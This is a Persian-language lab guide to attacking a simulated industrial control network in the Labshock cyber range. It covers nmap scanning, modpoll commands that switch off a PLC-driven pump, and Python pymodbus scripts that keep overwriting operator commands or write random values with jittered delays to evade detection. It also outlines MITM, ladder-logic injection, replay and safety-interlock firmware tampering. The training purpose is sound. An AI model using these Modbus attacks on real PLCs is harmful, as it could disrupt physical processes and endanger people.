۱۴۰۴/۰۶/۳۱
ارزیابی امنیتی و تست نفوذ شبکه صنعتی (OT & ICS) در محیط Labshock: راهنمای تست نفوذ عملی
فهرست مطالب
چکیده اجرایی
در عصری که زیرساختهای حیاتی مانند نیروگاهها، پالایشگاهها و خطوط تولید بیش از پیش به فناوریهای دیجیتال وابستهاند، تهدیدات سایبری علیه سیستمهای کنترل صنعتی (ICS) و فناوری عملیاتی (OT) به یکی از چالشهای اصلی تبدیل شدهاند. پلتفرم متنباز Labshock بهعنوان یک Cyber Range قدرتمند، امکان شبیهسازی محیطهای OT/ICS را فراهم میکند تا متخصصان بتوانند بدون ریسک آسیب به تجهیزات واقعی، سناریوهای حمله و دفاع را آزمایش کنند. این گزارش فرآیند نصب و راهاندازی Labshock، بررسی معماری و ماژولهای آن، اجرای مجموعهای از حملات سایبری هدفمند با ابزارهای Kali Linux، و تحلیل نتایج را بهصورت جامع شرح میدهد. از حملات ساده مانند دستکاری Coil تا تکنیکهای پیشرفتهتر مانند تزریق منطق مخرب و راهنمایی عملی برای تقویت امنیت زیرساختهای صنعتی ارائه میدهد. همچنین تصاویر و اسکرینشاتها برای مستندسازی دقیق مراحل و نتایج در بخشهای مربوطه قرار داده شده است.
تصور کنید یک خط تولید خودرو به دلیل دستکاری سایبری متوقف شود، یا یک پمپ آب در تصفیهخانه از کار بیفتد و شهر را با بحران مواجه کند. این سناریوها دیگر فقط داستانهای علمی-تخیلی نیستند؛ حملاتی مثل Stuxnet(2010) و حمله به شبکه برق اوکراین (۲۰۱۵) نشان دادهاند که سیستمهای OT/ICS میتوانند هدف مهاجمان سایبری قرار بگیرند. برخلاف شبکههای IT که تمرکز اصلیشان روی محرمانگی (Confidentiality) دادههاست، در OT اولویت با دسترسیپذیری (Availability) و یکپارچگی (Integrity) فرآیندهای فیزیکی است. یک نقص کوچک میتواند خسارات مالی، زیستمحیطی یا حتی جانی به همراه داشته باشد.
پروتکلهای قدیمی مثل Modbus TCP ، DNP3 و S7comm که در دهههای گذشته طراحی شدهاند، اغلب فاقد احراز هویت (Authentication) یا رمزنگاری (Encryption) هستند. این یعنی یک مهاجم با دسترسی به شبکه میتواند به راحتی دستورات مخرب ارسال کند. همگرایی IT/OT (IT/OT Convergence) هم سطح حمله (Attack Surface) را گسترش داده و نیاز به آزمایشهای عملیاتی را بیشتر کرده است. اینجا جایی است که Labshock وارد بازی میشود – یک محیط شبیهسازی متنباز که با استفاده از Docker، یک شبکه صنعتی کامل را شبیهسازی میکند و به ما اجازه میدهد حملات را تست کنیم، نقاط ضعف را پیدا کنیم و راهکارهای دفاعی را ارزیابی کنیم.
هدف این مستند این است که با زبانی ساده اما فنی، شما را با Labshock، کاوش در ماژولهای آن، و اجرای حملات سایبری آشنا کند. چه یک کارشناس عمومی باشید که تازه وارد دنیای OT شده و چه یک متخصص ارشد که به دنبال تکنیکهای پیشرفته است، این گزارش مطالب بروز و ارزشمندی برای ارائه به شما دارد.
برای شروع، به یک سیستم با مشخصات زیر نیاز دارید:
1. CPU : حداقل ۴ هسته (توصیهشده: ۸ هسته با Virtualization Extensions)
2. RAM : حداقل ۸ گیگابایت (توصیهشده: ۱۶ گیگابایت)
3. فضای ذخیرهسازی: ۲۰ گیگابایت (توصیهشده: ۵۰ گیگابایت SSD)
1. کلون کردن مخزن:
git clone https://github.com/zakharb/labshock.git
cd labshock
2. اجرای کانتینرها(با VPN روشن):
docker compose up -d --build
راهاندازی پروژه LabShock و اجرای کانتینرها از طریق Docker Compose
این دستور تمام کانتینرها ( PLC، SCADA، IDS و غیره) را در حالت Detached بالا می آورد. با docker ps مطمئن بشوید همه کانتینرها در وضعیت Up هستند.
3. دسترسی به پرتال: برای دسترسی به پنل، با نام کاربری labshock و کلمه عبور labshock به آدرس http://localhost وارد شوید.
صفحه لاگین پورتال LabShock روی هاست محلی (http://localhost)
نمایی از پورتال صنعتی Labshock با دسترسی به سرویسهای SCADA، PLC، EWS، PENTEST ،IDS ،LOGS
Labshock از یک معماری دوبخشی (Dual-Segment) استفاده میکند که Purdue Model را شبیهسازی میکند:
جدول آدرسدهی سرویسها:
IP اختصاصی | شبکه | سرویس |
192.168.2.10 | l2_network | PLC (OpenPLC) |
192.168.3.20 | l3_network | SCADA (FUXA) |
192.168.3.11 | l3_network | EWS |
192.168.3.30 | l3_network | Pentest Fury |
192.168.3.240 | l3_network | Collector |
این جداسازی باعث می شود سناریوهای حمله واقعیتر جلوه کند.
پرتال Labshock چهار تب اصلی دارد: OT، DMZ، IT وdocs . در ادامه هر کدام را با جزئیات بررسی می کنیم.
تب :OT قلب تپنده عملیات صنعتی
تب OT حساسترین لایه شبکهاست و قسمتی است که در آن فرایندهای صنعتی شبیهسازی شده و فرآیندهای فیزیکی کنترل میشوند.
با کلیک رویSCADA یا رفتن به آدرسhttp://localhost:1881 وارد محیط مربوطه میشویم. در حالت پیشفرض دو پمپ (Pump 1 وPump 2 ) با قابلیت on/off داریم.
رابط گرافیکی HMI در محیط SCADA
در منوی پایین سمت چپ قسمت Editor قرار گرفته است که در آن قادر به تنظیم موارد زیر هستیم:
بخش Editor، امکان تنظیم رابط کاربری HMI، مدیریت کاربران و نقشها، و پیکربندی منطق سیستم شامل آلارمها، نوتیفیکیشنها و پروتکلهای صنعتی
با کلیک رویPLC یا رفتن به آدرس http://localhost:8080 (نام کاربری:openplc کلمه عبور: openplc) وارد میشویم. تبهای کلیدی عبارت اند از:
پنل Monitoring در OpenPLC، نمایش بلادرنگ وضعیت ورودی/خروجیهای دیجیتال و آنالوگ، شامل سرعت، فشار و وضعیت شیرهای پمپ
با کلیک رویEWS یا رفتن به آدرس http://localhost:5911/vnc.html (کلمه عبور: engineering) محیطی شبیه Windows 10 با IDE برای OpenPLC و ابزارهای توسعه را مشاهده میکنیم. این محیط برای تست سریع تغییرات و اتصال به SCADA/PLCاستفاده میشود.
ایستگاه کاری مهندسی (EWS) با محیطی شبیه Windows 10 و ابزارهای توسعه همانند IDE برای OpenPLC
Pentest Fury : این پلتفرم ابزارهای داخلی برای تست نفوذ دارد. با این حال، ما در این مستند از ابزارهای خارجی برای شبیهسازی یک حمله واقعگرایانهتر استفاده خواهیم کرد. با کلیک روی گزینه مربوطه یا رفتن به آدرسhttp://localhost:3443 وارد محیط ذکر شده میشویم. ابزارهای زیر در این محیط نصب شده و آماده اجرا هستند:
بخشی از محیط Pentest Fury که به اجرای حملات مبتنی بر پروتکل Modbus اختصاص دارد؛ شامل قابلیتهایی برای خواندن و نوشتن کویلها،
ثبت دائمی یا تصادفی دادهها، و تستهای فشار روی تجهیزات صنعتی. نتایج هر عملیات در کنسول سمت راست قابل مشاهده و تحلیل هستند.
بخشی از سیستم تشخیص نفوذ داخلی (IDS) که پیامهای بلادرنگ مربوط به ارتباطات شبکه را نمایش میدهد؛
این بخش با ثبت اتصالهای جدید بین میزبانها، امکان شناسایی فعالیتهای مشکوک در شبکه OT را فراهم میسازد.
تب DMZ : لایه میانی امنیتی
شامل سرویسهایی مثل:
تبIT تحلیل و مدیریت: این لایه شامل سرویسهای استاندارد IT مانند SIEM (Splunk) برای جمعآوری و تحلیل لاگها از تمام بخشهای شبکه است. نظارت بر لاگهای SIEM یکی از راههای اصلی کشف حملات در حال وقوع است.
شامل:
SIEM (Splunk) : همبستهسازی لاگها برای SOC که از طریق لینک
http://localhost:8443/en-US/app/launcher/home (نام کاربری:admin کلمه عبور:labshock) قابل دسترس است.
نمایی از محیط Splunk در نقش SIEM. ابزاری برای همبستهسازی لاگها و تحلیل دادههای امنیتی در مرکز عملیات امنیت (SOC)؛
با قابلیت دسترسی به اپلیکیشنهای تحلیلی، داشبوردها و هشدارها برای پایش و پاسخگویی سریع به تهدیدات سایبری
تب Docs : راهنمای کامل
مستندات فنی و FAQ برای پیکربندی و عیبیابی.
برای شبیهسازی یک مهاجم واقعی، به جای ابزارهای داخلی Labshock ازKali Linux استفاده میکنیم که به شبکه Docker متصل است. حملات روی پروتکل Modbus TCP متمرکز است، چرا که این پروتکل به دلیل فقدان احراز هویت و رمزنگاری، آسیبپذیر است.
در ابتدا با استفاده از ابزار nmap شبکه را نقشه برداری میکنیم: nmap -sS -p- -sV -O -A 192.168.2.0/24
با استفاده از ابزار Nmap، شبکه مورد بررسی قرار گرفته و تارگت 192.168.2.10 با پورتهای باز 502 و 8080 شناسایی شده است؛
پورت 502 بهعنوان درگاه اصلی پروتکل Modbus اهمیت بالایی دارد و میتواند نقطه شروعی برای تحلیل انواع آسیبپذیری و حملههای صنعتی باشد.
در دنیای واقعی، اسکن سنگین مثل -p- و-A روی PLC ممکنه باعث کرش یا از کار افتادن دستگاه بشود.
ولی در Labshock در محیط شبیه ساز قرار داریم و میتوانیم از پارامترهای مذکور استفاده کنیم.
پیشنهاد:
1. ابتدا شروع به کشف Live Hosts در شبکه میکنیم.
nmap -sn 192.168.2.0/24
2. سپس هر آیپی کشف شده را جداگانه اسکن میکنیم.
nmap -sS -p- -sV -O -A 192.168.2.10
nmap -sS -p- -sV -O -A 192.168.3.20
برای شناسایی دستگاههای Modbus :
https://www.modbusdriver.com/modpoll.html
ابزار modpoll یک شبیهساز خط فرمان برای پروتکل Modbus است که بهعنوان Modbus Master عمل میکند و برای تست، دیباگ، خواندن و نوشتن داده تجهیزات صنعتی مانند PLC و سنسور استفاده میشود. این ابزار از Modbus RTU،TCP و UDP پشتیبانی میکند و در محیطهای صنعتی و آزمایشگاهی کاربرد دارد.
./modpoll -m tcp -t 0 -r 1 -c 10 192.168.2.10
m tcp- : استفاده از پروتکل Modbus TCP برای اتصال.
t 0- : نوع داده خواندهشده ، در اینجا Holding Registerاست.
r 1- : شروع خواندن از آدرس رجیستر شماره 1.
c 10- : تعداد 10 رجیستر، متوالی خوانده میشود.
192.168.2.10 : آدرس IP دستگاه مقصد (Slave).
در این تصویر، خروجی ابزار modpoll نشان میدهد که کویل شماره [1]: 1 فعال (روشن) است، در حالی که کویل [2]:
0 غیرفعال (خاموش) باقی مانده؛ این وضعیت میتواند نشاندهنده عملکرد یک تجهیز صنعتی مانند پمپ یا شیر باشد.
در ادامه ازmodpoll برای حملات ساده و از اسکریپتهای سفارشی Python برای حملات پیشرفته استفاده میکنیم.
۱. حمله Read Coil :
هدف: استخراج وضعیت دیجیتال (مثل روشن/خاموش بودن پمپ) برای جمعآوری اطلاعات بدون ایجاد تغییر.
modpoll -m tcp -t 0 -r 1 -c 10 192.168.2.10
خروجی نشان میدهد که کویلهای [1] و [9] فعال هستند، که در تصویر بعدی نیز با روشن بودن پمپ در محیط SCADA تأیید میشود.
پمپهای 1 و 2 با نشانگرهای فعال مشخص شدهاند، که با دادههای استخراجشده از حمله Read Coil در modpoll (کویلهای [1] و [9] فعال) مطابقت دارد.
۲. حمله Write Coil
هدف: تغییر وضعیت یک Coil (مثلاً خاموش کردن پمپ) برای اختلال در فرآیند.
./modpoll -m tcp -t 0 -r 1 192.168.2.10 0
اجرای حمله Write Coil برای تغییر وضعیت کویل شماره 1 به مقدار 0 که این عملیات باعث خاموش شدن پمپ در سیستم هدف شده
که در تصویر بعدی محیط SCADA نیز با غیرفعال شدن پمپ تأیید میشود.
نمایی از محیط SCADA پس از اجرای حمله Write Coil که مقدار کویل شماره 1 به 0 تغییر داده شده است. در نتیجه، پمپ 1 خاموش شده
و نشانگر وضعیت آن غیرفعال است که این عملیات تأیید بصری بر تأثیر مستقیم دستورات modpoll در اختلال فرآیند صنعتی دارد.
۳. حمله :Permanent Write
هدف: تثبیت وضعیت Coil حتی پس از تلاش اپراتور برای تغییر آن – یه جور Cyber-Persistence حساب می شود که در یک حلقه مداوم عملیات Write را انجام میدهیم تا تغییرات صورت گرفته توسط اپراتور بازنویسی شود.برای انجام این عملیات یک اسکریپت سفارشی مینویسیم.
این اسکریپت با استفاده از کتابخانه pymodbus بهعنوان یک Modbus TCP Client به PLC متصل میشود و در یک حلقه بیپایان، مقادیر خاصی را به یک Coil و یک Register مینویسد. هدف آن اجرای یک حمله Permanent Write است؛ یعنی تثبیت وضعیت خروجیها بهگونهای که هرگونه تلاش اپراتور برای تغییر آنها بلافاصله بازنویسی شود.
نصب کتابخانه مورد نیاز:
برای اجرای این اسکریپت، ابتدا باید کتابخانه pymodbus نصب شود:
pip install pymodbus
تحلیل کد:
from pymodbus.client import ModbusTcpClient
وارد کردن کلاس ModbusTcpClient برای ایجاد اتصال TCP با PLC
PLC_IP = "192.168.2.10"
PLC_PORT = 502
تعریف آدرس IP و پورت استاندارد Modbus برای اتصال به PLC
client = ModbusTcpClient(PLC_IP, port=PLC_PORT)
ایجاد شیء اتصال به PLC
if client.connect():
بررسی موفقیت اتصال و آغاز حمله.
while True:
client.write_coil(0, False)
client.write_register(10, 100)
time.sleep(0.5)
در این حلقه بیپایان:
در صورت عدم اتصال، پیام خطا نمایش داده میشود.
حمله Permanent Write با استفاده از اسکریپت Python و کتابخانه pymodbus
حال با دستور python permanent-write.py اسکریپت را اجرا میکنیم:
اجرای این اسکریپت را مشاهده میکنیم که پیامهای مربوط به نوشتن Coil و Register بهصورت مداوم چاپ میشوند.
هم اکنون اگر اپراتور SCADA دما و یا وضعیت پمپ را تغییر دهد، تغییرات اپراتور بلافاصله توسط اسکریپت نوشته شده بازنویسی میشوند.
محیط SCADA نشان میدهد که نشانگر سوئیچ پمپ 1 فعال است (وضعیت منطقی TRUE)، اما در واقعیت پمپ 1 خاموش میباشد.
این تناقض ناشی از حمله Permanent Write است که وضعیت واقعی را با نوشتن مداوم مقدار False به Coil پنهان کرده است.
۴. حمله :Random Write
هدف : ایجاد رفتار تصادفی برای سردرگم کردن اپراتور و تولید آلارمهای ناخواسته.
یکی از حملات شایع بر روی ICS حمله Random Write است، یعنی در هر لحظه مقادیر تصادفی در PLC نوشته می شود. روش کار به این صورت است که در یک حلقه مداوم، بهطور تصادفی یک کویل یا رجیستر انتخاب شده و مقدار تصادفی در آن نوشته می شود:
import time
import random
from pymodbus.client import ModbusTcpClient
وارد کردن کتابخانههای مورد نیاز:
PLC_IP = "192.168.2.10"
PLC_PORT = 502
تعریف آدرس IP و پورت استاندارد Modbus برای اتصال به PLC
client = ModbusTcpClient(PLC_IP, port=PLC_PORT)
ایجاد شیء ارتباطی برای اتصال به PLC
if client.connect():
بررسی موفقیت اتصال و آغاز حمله در صورت برقراری ارتباط.
while True:
target = random.choice(["coil", "register"])
در هر چرخه از حلقه بیپایان، هدف حمله بهصورت تصادفی بین کویل یا رجیستر انتخاب میشود.
if target == "coil":
address = random.randint(0, 9)
value = random.choice([True, False])
rr = client.write_coil(address, value)
در صورت انتخاب کویل:
else:
address = random.randint(0, 9)
value = random.randint(0, 5000)
rr = client.write_register(address, value)
در صورت انتخاب رجیستر:
time.sleep(random.uniform(0.5, 2.0))
ایجاد تأخیر تصادفی بین ۰.۵ تا ۲ ثانیه برای هر عملیات؛ این امر موجب میگردد حمله طبیعیتر جلوه کرده و شناسایی آن توسط سیستمهای تشخیص نفوذ (IDS/IPS) دشوارتر شود.
نمونهای از حمله Random Write با استفاده از اسکریپت Python؛ روشی مؤثر برای ایجاد آلارمهای ناخواسته و اختلال در فرآیند صنعتی
نمایی از محیط SCADA پس از اجرای حمله Random Write؛ نوسانات غیرعادی در نمودار فشار و جریان،
و خاموش بودن ناگهانی پمپ 1 در حالی که پمپ 2 فعال است، نشاندهنده تأثیر مستقیم دستورات تصادفی روی رفتار سیستم است.
علاوه بر حملات ذکر شده، سناریوهای پیچیدهتری هم وجود دارد که میتوانند به شدت خطرناک باشند:
Man-in-the-Middle (MITM) : با ابزارهایی همانند Ettercap و یا Scapy ، می توان ترافیک Modbus را دستکاری کرد. به عنوان مثال با اجرای حمله ARP Spoofing ، مهاجم میتونه بین SCADA و PLC قرار گرفته و دستورات جعلی ارسال کند.
شبه کد:
نمونهای از حمله Man-in-the-Middle با استفاده از کتابخانه Scapy؛ مهاجم با اجرای ARP Spoofing بین SCADA و PLC قرار گرفته و با شنود
و دستکاری بستههای Modbus TCP، امکان ارسال دستورات جعلی یا تغییر دادهها را فراهم می کند.
Ladder Logic Injection : تزریق کد مخرب به برنامه PLC برای ایجاد Backdoor .
برنامههای PLC که به صورت Ladder Logic نوشته میشوند، معمولاً یا در قالب فایلهایی مانند .lad ذخیره میشوند، یا از طریق محیطهای مهندسی (Engineering Software) روی PLC بارگذاری میگردند. یک مهاجم میتواند این فایل یا پروژه را تغییر داده و کد مخرب خود را به آن اضافه کند. برای انجام چنین تغییری لازم است از ابزارهای اختصاصی PLC مانند TIA Portal (زیمنس) یا RSLogix (راکول) استفاده شود. در تصویر زیر، یک نمونه شبهکد از نحوه اجرای این نوع حمله نمایش داده شده است.
نمونهای از حمله Ladder Logic Injection؛ مهاجم با ویرایش فایل .lad و افزودن شرطی مانند «اگر تایمر > ۱۰ ثانیه، خروجی پمپ را فعال کن»،
یک backdoor در منطق کنترلی PLC ایجاد میکند. این تغییر بهسادگی میتواند بدون جلب توجه اپراتور اجرا شود و فرآیند صنعتی را از کنترل خارج کند.
Replay Attack : ضبط دستورات معتبر با Wireshark و بازپخش آنها برای تغییر وضعیت.
در تصویر زیر میتوانید شبه کد اجرای این حمله را مشاهده کنید:
نمونهای از حمله Replay؛ مهاجم یک پکت معتبر Modbus (مثلاً فرمان روشنکردن پمپ) را با Wireshark یا Scapy ضبط کرده و
همان بسته را دوباره ارسال میکند. این حمله ساده اما مؤثر است و باعث اجرای مجدد دستورات حیاتی بدون نیاز به احراز هویت یا تغییر کد میشود.
Firmware Hijacking : پچ کردن Firmware PLC برای غیرفعال کردن Safety Interlocks .
تغییر Firmware اصلی PLC و غیرفعالکردن safety . در تصویر زیر میتوانید شبه کد اجرای این حمله را مشاهده کنید:
نمونهای از حمله Firmware Hijacking؛ مهاجم با تغییر در Firmware اصلی PLC (مثلاً حذف یا غیرفعالکردن تابع safety_check) میتواند کنترل کامل سیستم ایمنی را دور بزند.
آپلود فریمور دستکاریشده روی PLC باعث میشود رفتار دستگاه به ظاهر طبیعی باشد، اما حفاظتها عملاً بیاثر شوند.
Covert Channel : استفاده از Unused Registers برای Exfiltration (استخراج) داده.
نمونهای از حمله Covert Channel؛ مهاجم دادههای حساس (مثل رمزعبور یا کلید رمزنگاری) را در رجیسترهای بلااستفاده PLC پنهان میکند و
سپس آنها را از طریق پروتکل Modbus به بیرون منتقل میکند. این روش استخراج داده معمولاً از دید اپراتورها و IDSها پنهان میماند.
Timing-Based Evasion : حملات آهسته برای فرار از Rate Limiting
نمونهای از حمله Timing-Based Evasion؛ مهاجم درخواستهای مخرب خود را با فاصلههای زمانی طولانی (مثلاً هر ۶۰ ثانیه یک بار) به PLC ارسال میکند.
این روش باعث میشود که الگوی حمله در ترافیک عادی شبکه پنهان شده و سامانههای تشخیص نفوذ (IDS) قادر به شناسایی سریع آن نباشند.
Privilege Escalation در EWS : سوءاستفاده از CVEها برای رسیدن به دسترسی ادمین.
با استفاده از IDS، ترافیک را بررسی میکنیم. حملات ساده همانند Write Coil ممکن است بهعنوان فعالیت عادی دیده شوند، چرا که Modbus سیستمی برای احراز هویت ندارد. در تب IT و در قسمت SIEM با استفاده از جستجو میتوانید تغییرات مشکوک را بیابید.
برای تقویت Security Posture در محیطهای :OT
این پژوهش عملی نشان داد که محیطهای شبیهسازی مانند Labshock ابزاری حیاتی برای درک و تحلیل تهدیدات سایبری در دنیای OT هستند. آسیبپذیریهای ذاتی در پروتکلهای صنعتی، در صورت عدم وجود کنترلهای امنیتی لایهای، به مهاجمان اجازه میدهند تا با دانش فنی متوسط، کنترل فرآیندهای فیزیکی را به دست گرفته و اختلالات جدی ایجاد کنند.
امنیت در دنیای OT یک محصول نیست، بلکه یک فرآیند مستمر است که نیازمند رویکرد دفاع در عمق
(Defense-in-Depth)، دیدهبانی مداوم و درک عمیق از تکنیکها، تاکتیکها و رویههای (TTPs) مهاجمان است. پیادهسازی صحیح تقسیمبندی شبکه، استفاده از سیستمهای تشخیص نفوذ ویژه OT و مانیتورینگ یکپارچه رفتار شبکه، گامهای اساسی برای حفاظت از زیرساختهای حیاتی در برابر تهدیدات روزافزون سایبری هستند.